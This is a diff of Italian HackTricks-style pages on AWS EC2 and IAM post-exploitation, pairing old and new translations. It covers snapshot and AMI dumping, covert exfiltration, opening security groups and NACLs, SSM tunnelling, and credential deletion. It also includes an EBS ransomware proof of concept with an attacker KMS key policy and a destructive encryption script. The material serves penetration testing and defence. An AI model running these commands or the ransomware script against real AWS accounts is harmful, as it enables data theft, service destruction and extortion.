Le istanze solitamente contengono informazioni sensibili. Esistono diversi modi per accedervi (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contengono è **creare un AMI e avviare da esso una nuova istanza (anche nel proprio account)**:
|
||||
Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrarci (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per vedere cosa contengono è **creare un AMI e avviare da esso una nuova istanza (anche nel proprio account)**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +50,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots sono backup dei volumi**, che solitamente conterranno **informazioni sensibili**, quindi verificarli dovrebbe rivelare queste informazioni.\
|
||||
Se trovi un **volume senza snapshot** puoi: **Create a snapshot** e eseguire le seguenti azioni oppure semplicemente **mount it in an instance** all'interno dell'account:
|
||||
**Snapshots are backups of volumes**, che solitamente contengono **informazioni sensibili**, quindi controllarli dovrebbe rivelare questi dati.\
|
||||
Se trovi un **volume without a snapshot** puoi: **Create a snapshot** ed eseguire le azioni seguenti oppure semplicemente **mount it in an instance** all'interno dell'account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +59,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Esporta un EC2 AMI direttamente su S3 usando `CreateStoreImageTask` per ottenere un'immagine disco raw senza snapshot sharing. Questo permette forensics offline completi o data theft lasciando intatta la rete dell'instance.
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` per ottenere un'immagine disco raw senza snapshot sharing. Questo permette forensics offline complete o data theft lasciando intatta la rete dell'istanza.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +67,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach un volume io1/io2 Multi-Attach a una seconda instance e montalo in sola lettura per siphonare dati live senza snapshots. Utile quando il victim volume ha già Multi-Attach abilitato nella stessa AZ.
|
||||
Attach an io1/io2 Multi-Attach volume a una seconda instance e mount it read-only per siphonare dati live senza snapshots. Utile quando il victim volume ha già Multi-Attach abilitato nella stessa AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +75,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Crea un EC2 Instance Connect Endpoint, autorizza ingress, e inietta ephemeral SSH keys per accedere a instance private tramite un managed tunnel. Fornisce percorsi rapidi per lateral movement senza aprire public ports.
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, e inject ephemeral SSH keys per accedere a private instances tramite un managed tunnel. Consente percorsi rapidi di lateral movement senza aprire porte pubbliche.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +83,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move la secondary private IP di un ENI vittima a un ENI controllato dall'attaccante per impersonare trusted hosts che sono allowlisted per IP. Permette di bypassare internal ACLs o SG rules basate su indirizzi specifici.
|
||||
Move a victim ENI’s secondary private IP su un ENI controllato dall'attaccante per impersonare host trusted che sono allowlisted by IP. Permette di bypassare ACLs interne o regole SG basate su indirizzi specifici.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +91,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate un Elastic IP dall'instance vittima all'attaccante per intercettare inbound traffic o originare connessioni outbound che appaiono provenire da trusted public IPs.
|
||||
Reassociate un Elastic IP dall'istanza vittima all'attaccante per intercettare traffico inbound o generare connessioni outbound che sembrano provenire da trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +99,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Se una security group rule fa riferimento a una customer-managed prefix list, aggiungere attacker CIDRs alla lista espande silenziosamente l'accesso su tutte le regole SG dipendenti senza modificare lo SG stesso.
|
||||
Se una security group rule fa riferimento a un customer-managed prefix list, aggiungere attacker CIDRs alla lista espande silenciosamente l'accesso attraverso tutte le regole SG dipendenti senza modificare lo SG stesso.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +107,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Crea gateway o interface VPC endpoints per recuperare outbound access da subnet isolate. Sfruttare AWS-managed private links bypassa i controlli IGW/NAT mancanti per data exfiltration.
|
||||
Create gateway o interface VPC endpoints per recuperare l'accesso outbound da subnet isolate. Sfruttare AWS-managed private links bypassa la mancanza di controlli IGW/NAT per data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +115,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Un attaccante con il permesso `ec2:AuthorizeSecurityGroupIngress` può aggiungere inbound rules ai security groups (per esempio, permettendo tcp:80 da 0.0.0.0/0), esponendo così servizi interni alla public Internet o ad altre reti non autorizzate.
|
||||
Un attacker con il permesso ec2:AuthorizeSecurityGroupIngress può aggiungere regole inbound a security groups (per esempio, allowing tcp:80 from 0.0.0.0/0), esponendo così servizi interni a Internet pubblico o a reti altrimenti non autorizzate.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Un attaccante con i permessi ec2:ReplaceNetworkAclEntry (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio consentendo 0.0.0.0/0 su porte critiche — esponendo l'intero intervallo della subnet a Internet o a segmenti di rete non autorizzati. A differenza delle Security Groups, che si applicano per istanza, i NACLs si applicano a livello di subnet, quindi modificare un NACL restrittivo può avere un raggio d'azione molto più ampio abilitando l'accesso a molti più host.
|
||||
Un attacker con permessi `ec2:ReplaceNetworkAclEntry` (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio consentendo 0.0.0.0/0 su critical ports — esponendo l'intero intervallo della subnet a Internet o a segmenti di rete non autorizzati. A differenza delle Security Groups, che sono applicate per-instance, le NACLs sono applicate a livello di subnet, quindi cambiare una NACL restrittiva può avere un blast radius molto più ampio abilitando l'accesso a molti più hosts.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +132,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Un attaccante con permessi ec2:Delete* e iam:Remove* può eliminare risorse e configurazioni critiche dell'infrastruttura — ad esempio key pairs, launch templates/versions, AMIs/snapshots, volumes o attachments, security groups o rules, ENIs/network endpoints, route tables, gateways, o managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di prove forensi.
|
||||
Un attaccante con i permessi ec2:Delete* e iam:Remove* può cancellare risorse e configurazioni critiche dell'infrastruttura — per esempio key pairs, launch templates/versions, AMIs/snapshots, volumes o attachments, security groups o rules, ENIs/network endpoints, route tables, gateways, o managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di evidenze forensi.
|
||||
|
||||
One example is deleting a security group:
|
||||
Un esempio è la cancellazione di una security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Indirizza VPC Flow Logs verso un S3 bucket controllato dall'attaccante per raccogliere continuamente metadata di rete (source/destination, ports) fuori dall'account vittima per ricognizione a lungo termine.
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -160,7 +161,7 @@ Even if you lock down an EC2 so no traffic can get out, it can still **exfil via
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Un attaccante potrebbe chiamare gli endpoint API di un account da lui controllato. CloudTrail registrerà queste chiamate e l'attaccante potrà vedere the exfiltrate data nei log di CloudTrail.
|
||||
Un attaccante potrebbe chiamare endpoint API di un account da lui controllato. Cloudtrail registrerà queste chiamate e l'attaccante potrà vedere the exfiltrate data nei log di Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
@@ -173,7 +174,7 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
|
||||
|
||||
È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e poi rubare i dati delle istanze ECS.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
Per [**maggiori informazioni, consulta questo**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Rimuovere VPC flow logs
|
||||
```bash
|
||||
@@ -185,8 +186,8 @@ Permessi richiesti:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Oltre all'esecuzione di comandi, SSM permette il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Uno degli scenari in cui questo è utile è pivotare da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
|
||||
> Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -195,42 +196,42 @@ Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](htt
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Recupera le credenziali temporanee del Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
3. Ottieni le credenziali temporanee AWS del Bastion EC2 con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Trasferisci le credenziali sulla tua macchina nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
|
||||
5. Accedi a EKS come Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` per puntare a `https://localhost`
|
||||
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` in modo che punti a `https://localhost`
|
||||
7. Crea un tunnel SSM come segue:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Il traffico dello strumento `kubectl` viene ora instradato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
|
||||
8. Il traffico dallo strumento `kubectl` è ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al private EKS cluster dalla tua macchina eseguendo:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Visto che il traffico è instradato attraverso il sicuro AWS SSM tunnel, sei protetto da qualsiasi tipo di attacco MitM.
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il secure AWS SSM tunnel, sei al sicuro da qualsiasi tipo di attacco MitM.
|
||||
|
||||
Infine, questa tecnica non è specifica per l'attacco a cluster EKS privati. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
|
||||
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrarie per pivotare verso qualsiasi altro servizio AWS o un'applicazione custom.
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Inoltro porta rapido Locale ↔️ Remoto (AWS-StartPortForwardingSession)
|
||||
|
||||
Se hai bisogno solo di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro remote host richiesto):
|
||||
Se hai solo bisogno di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi utilizzare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro host remoto richiesto):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **without opening any inbound Security-Group rules**.
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola inbound di Security-Group**.
|
||||
|
||||
Casi d'uso comuni:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Sull'istanza avvia un rapido HTTP server che punti alla directory che vuoi exfiltrate:
|
||||
1. Sull'istanza, avvia un semplice server HTTP che punti alla directory che vuoi esfiltrare:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
@@ -250,7 +251,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Suggerimento: Comprimi e cripta le prove prima di exfiltrating, così CloudTrail non registri il contenuto in chiaro:
|
||||
Suggerimento: Compress e encrypt le evidenze prima di exfiltrating in modo che CloudTrail non registri il clear-text content:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -261,7 +262,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Cerca informazioni sensibili in AMIs pubbliche e private
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze dalle AMIs di destinazione, il montaggio dei loro volumi e la scansione alla ricerca di eventuali secrets o dati sensibili.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze da AMIs target, montaggio dei loro volumi e scansione per possibili secrets o dati sensibili.
|
||||
|
||||
### Condividi EBS Snapshot
|
||||
```bash
|
||||
@@ -269,9 +270,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Una proof of concept simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation su S3. KMS dovrebbe essere ribattezzato RMS per Ransomware Management Service, vista la facilità con cui può essere usato per criptare vari servizi AWS.
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware presente nelle note di S3 post-exploitation. KMS dovrebbe essere rinominato in RMS (Ransomware Management Service) vista la facilità con cui può essere usato per cifrare vari servizi AWS.
|
||||
|
||||
Prima, da un account AWS 'attacker', crea una customer managed key in KMS. In questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore malevolo conserverebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. In questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che consente l'accesso totale si chiama 'Outside Encryption'
|
||||
In primo luogo, da un account AWS 'attacker', crea una chiave gestita dal cliente in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore maligno manterrebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che consente l'accesso totale si chiama 'Outside Encryption'.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +364,7 @@ Prima, da un account AWS 'attacker', crea una customer managed key in KMS. In qu
|
||||
]
|
||||
}
|
||||
```
|
||||
La key policy deve avere abilitati i seguenti permessi per poter essere usata per criptare un volume EBS:
|
||||
La regola della key policy richiede le seguenti autorizzazioni abilitate per permettere di usarla per crittografare un volume EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,17 +372,17 @@ La key policy deve avere abilitati i seguenti permessi per poter essere usata pe
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Ora che abbiamo la key pubblicamente accessibile da usare. Possiamo usare un account 'victim' che ha alcune istanze EC2 avviate con volumi EBS non criptati collegati. I volumi EBS di questo account 'victim' sono il nostro obiettivo per la cifratura; questo attacco si svolge nell'ipotesi di una compromissione di un account AWS con privilegi elevati.
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
|
||||
 
|
||||
|
||||
Simile all'esempio di S3 ransomware. Questo attacco creerà copie dei volumi EBS collegati usando snapshot, userà la key pubblicamente disponibile dell'account 'attacker' per cifrare i nuovi volumi EBS, poi staccherà i volumi EBS originali dalle istanze EC2 e li eliminerà, e infine eliminerà gli snapshot usati per creare i nuovi volumi EBS criptati. 
|
||||
Simile all'esempio di ransomware su S3. Questo attacco creerà copie dei volumi EBS collegati usando snapshot, userà la chiave pubblicamente disponibile dell'account 'attacker' per cifrare i nuovi volumi EBS, quindi staccherà i volumi EBS originali dalle istanze EC2 e li cancellerà, e infine eliminerà gli snapshot usati per creare i nuovi volumi EBS cifrati. 
|
||||
|
||||
Il risultato è che nell'account rimarranno disponibili solo volumi EBS criptati.
|
||||
Il risultato è che nell'account rimarranno disponibili solo volumi EBS cifrati.
|
||||
|
||||
|
||||
|
||||
Vale anche la pena notare che lo script ha fermato le istanze EC2 per staccare ed eliminare i volumi EBS originali. I volumi originali non criptati sono ormai scomparsi.
|
||||
Da notare inoltre che lo script ha arrestato le istanze EC2 per staccare e cancellare i volumi EBS originali. I volumi originali non cifrati sono ora spariti.
|
||||
|
||||
|
||||
|
||||
@@ -456,15 +457,15 @@ Successivamente, torna alla key policy nell'account 'attacker' e rimuovi la rego
|
||||
]
|
||||
}
|
||||
```
|
||||
Attendi un momento perché la newly set key policy si propaghi. Poi torna all'account 'victim' e prova ad allegare uno dei volumi EBS appena crittografati. Vedrai che puoi allegare il volume.
|
||||
Aspetta un momento che la nuova key policy venga propagata. Poi torna all'account 'victim' e prova ad allegare uno dei volumi EBS appena criptati. Vedrai che puoi allegare il volume.
|
||||
|
||||
 
|
||||
|
||||
Ma quando provi effettivamente ad avviare di nuovo l'istanza EC2 con il volume EBS crittografato, l'operazione fallirà e passerà dallo stato 'pending' allo stato 'stopped' per sempre, dato che il volume EBS allegato non può essere decrittografato usando la key perché la key policy non lo permette più.
|
||||
Ma quando tenti effettivamente di riavviare l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' di nuovo allo stato 'stopped' per sempre, dato che il volume EBS allegato non può essere decriptato usando la key perché la key policy non lo permette più.
|
||||
|
||||
 
|
||||
|
||||
Questo è lo script python usato. Prende AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie crittografate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS target, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS crittografati nell'account 'victim' target. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLLERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite snapshot, ma ci tengo ad avvisarti che in fin dei conti si tratta di una ransomware PoC.
|
||||
Questo è lo script python usato. Prende AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS bersaglio, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'victim' bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli utilizzando la KMS key impiegata e ripristinarli al loro stato originale tramite snapshot, ma voglio solo avvisarti che si tratta, alla fine della giornata, di un ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +584,6 @@ main()
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [Pentest Partners – Come trasferire file in AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,13 +12,13 @@ Per maggiori informazioni sull'accesso IAM:
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
Se **consenti a un account esterno (A)** di accedere a un **ruolo** nel tuo account, probabilmente avrai **0 visibilità** su **chi esattamente può accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
|
||||
Se permetti a un **account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi esattamente può accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
|
||||
|
||||
Pertanto, quando si permette a un account esterno di accedere a un ruolo nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per poter **assumere il ruolo nella tua organizzazione**. Poiché l'account esterno B **non conoscerà questa stringa**, anche se ha accesso ad A **non sarà in grado di accedere al tuo ruolo**.
|
||||
Pertanto, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per poter **assume the role nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non potrà accedere al tuo role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tuttavia, nota che questo "segreto" `ExternalId` **non è un segreto**, chiunque possa **leggere la policy di assume role IAM sarà in grado di vederlo**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, esso **impedisce a B di abusare di A per accedere al tuo ruolo**.
|
||||
Tuttavia, nota che questo "segreto" `ExternalId` **non è un segreto**, chiunque possa **leggere l'IAM assume role policy sarà in grado di vederlo**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, esso **impedisce a B di abusare di A per accedere al tuo role**.
|
||||
|
||||
Esempio:
|
||||
```json
|
||||
@@ -39,11 +39,11 @@ Esempio:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Per un attacker, per sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account.
|
||||
> Perché un attacker possa sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account.
|
||||
|
||||
### Trust inaspettati
|
||||
### Relazioni di trust inaspettate
|
||||
|
||||
#### Wildcard come principal
|
||||
#### Wildcard as principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -51,7 +51,7 @@ Esempio:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Questa policy **permette a qualsiasi entità AWS** di assumere il ruolo.
|
||||
Questa policy **consente a qualsiasi servizio AWS** di assumere il ruolo.
|
||||
|
||||
#### Servizio come principal
|
||||
```json
|
||||
@@ -64,7 +64,7 @@ Questa policy **permette a qualsiasi entità AWS** di assumere il ruolo.
|
||||
```
|
||||
Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questa Lambda.
|
||||
|
||||
#### S3 come principal
|
||||
#### S3 as principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,7 +73,7 @@ Questa policy **consente a qualsiasi account** di configurare il proprio apigate
|
||||
}
|
||||
}
|
||||
```
|
||||
Se a principal viene assegnato un S3 bucket, poiché gli S3 bucket non hanno un Account ID, se hai **eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
|
||||
Se un S3 bucket è indicato come principal, poiché gli S3 bucket non hanno un Account ID, se **hai eliminato il tuo bucket e l'attacker lo ha creato** nel proprio account, allora potrebbero abusarne.
|
||||
|
||||
#### Non supportato
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Se a principal viene assegnato un S3 bucket, poiché gli S3 bucket non hanno un
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condition con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (come CloudTrail secondo alcune fonti).
|
||||
Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per controllare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (come CloudTrail secondo alcune fonti).
|
||||
|
||||
### Eliminazione delle credenziali
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificati o CloudFront public keys, oppure dissociare ruoli dagli instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi queste autorizzazioni IAM devono essere strettamente limitate e monitorate.
|
||||
Con una qualunque delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere chiavi di accesso, profili di accesso, chiavi SSH, credenziali specifiche per il servizio, profili di istanza, certificati o CloudFront public keys, oppure disassociare ruoli dai profili di istanza. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi queste autorizzazioni IAM devono essere rigorosamente limitate e monitorate.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Eliminazione delle identità
|
||||
